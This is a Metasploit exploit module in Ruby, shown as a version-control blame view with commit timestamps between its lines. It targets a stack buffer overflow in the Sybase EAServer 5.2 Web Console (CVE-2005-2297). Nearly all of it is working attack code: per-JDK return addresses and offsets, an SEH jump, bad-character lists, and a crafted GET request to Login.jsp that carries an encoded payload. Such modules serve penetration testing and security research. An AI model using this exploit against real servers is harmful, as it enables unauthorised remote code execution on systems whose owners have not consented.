2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-26 23:55:01 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-01-26 23:55:01 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-26 23:55:01 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'Sybase EAServer 5.2 Remote Stack Buffer Overflow',
|
2007-01-26 23:55:01 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the Sybase EAServer Web
|
2007-01-26 23:55:01 +00:00
|
|
|
Console. The offset to the SEH frame appears to change depending
|
|
|
|
on what version of Java is in use by the remote server, making this
|
|
|
|
exploit somewhat unreliable.
|
|
|
|
},
|
|
|
|
'Author' => [ 'anonymous' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-01-26 23:55:01 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-12-06 02:30:42 +00:00
|
|
|
[ 'CVE', '2005-2297' ],
|
|
|
|
[ 'OSVDB', '17996' ],
|
2007-01-26 23:55:01 +00:00
|
|
|
[ 'BID', '14287'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2007-01-26 23:55:01 +00:00
|
|
|
# Technically we could combine these into a single multi-return string...
|
2010-04-30 08:40:19 +00:00
|
|
|
['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', {'Ret' => 0x6d4548ff, 'Offset' => 3820}],
|
|
|
|
['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?', {'Ret' => 0x6d4548ff, 'Offset' => 3841}],
|
|
|
|
['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', {'Ret' => 0x08041b25, 'Offset' => 3912}],
|
|
|
|
['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', {'Ret' => 0x08041b25, 'Offset' => 3925}],
|
2007-01-26 23:55:01 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 25 2005'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),
|
|
|
|
Opt::RPORT(8080)
|
|
|
|
], self.class)
|
2007-01-26 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
print_status( "Attempting to exploit...")
|
|
|
|
|
|
|
|
# Building the evil buffer
|
2007-03-01 08:21:36 +00:00
|
|
|
crash = rand_text_alphanumeric(5000, payload_badchars)
|
2007-01-26 23:55:01 +00:00
|
|
|
crash[ target['Offset'] - 4, 2 ] = "\xeb\x06"
|
|
|
|
crash[ target['Offset'] , 4 ] = [target.ret].pack('V')
|
|
|
|
crash[ target['Offset'] + 4, payload.encoded.length ] = payload.encoded
|
|
|
|
|
|
|
|
# Sending the request
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => datastore['DIR'] + 'Login.jsp?' + crash,
|
|
|
|
'method' => 'GET',
|
|
|
|
'headers' => {
|
|
|
|
'Accept' => '*/*',
|
|
|
|
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
|
|
|
}
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-26 23:55:01 +00:00
|
|
|
print_status("Overflow request sent, sleeping for four seconds")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,4)
|
2007-01-26 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|